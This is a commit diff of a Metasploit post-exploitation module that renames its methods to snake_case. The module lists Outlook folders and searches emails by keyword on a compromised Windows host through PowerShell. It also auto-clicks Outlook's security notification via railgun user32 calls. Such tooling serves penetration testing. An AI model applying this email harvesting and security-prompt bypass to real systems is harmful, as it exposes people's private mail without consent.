parent
47c38ed04e
commit
af9979d30b
|
@ -57,22 +57,22 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
# This function prints a listing of available mailbox folders
|
||||
def listBoxes
|
||||
def list_boxes
|
||||
command = 'List-Folder'
|
||||
execute_outlook_script(command)
|
||||
end
|
||||
|
||||
# This functions reads Outlook using powershell scripts
|
||||
def readEmails(folder,keyword,atrans,acftrans)
|
||||
def read_emails(folder,keyword,atrans,acftrans)
|
||||
view = framework.threads.spawn("ButtonClicker", false) {
|
||||
clickButton(atrans,acftrans)
|
||||
click_button(atrans,acftrans)
|
||||
}
|
||||
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
|
||||
execute_outlook_script(command)
|
||||
end
|
||||
|
||||
def clickButton(atrans,acftrans)
|
||||
# This functions clicks on the security notification generated by Outlook.
|
||||
# This functions clicks on the security notification generated by Outlook.
|
||||
def click_button(atrans,acftrans)
|
||||
sleep 1
|
||||
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
|
||||
if hwnd != 0
|
||||
|
@ -90,8 +90,8 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run
|
||||
# Main method
|
||||
folder = datastore['FOLDER']
|
||||
keyword = datastore['KEYWORD'].to_s
|
||||
allow = datastore['A_TRANSLATION']
|
||||
|
@ -145,9 +145,9 @@ class Metasploit3 < Msf::Post
|
|||
case action.name
|
||||
when 'LIST'
|
||||
print_good('Available folders in the mailbox: ')
|
||||
listBoxes
|
||||
list_boxes
|
||||
when 'SEARCH'
|
||||
readEmails(folder,keyword,atrans,acftrans)
|
||||
read_emails(folder,keyword,atrans,acftrans)
|
||||
else
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue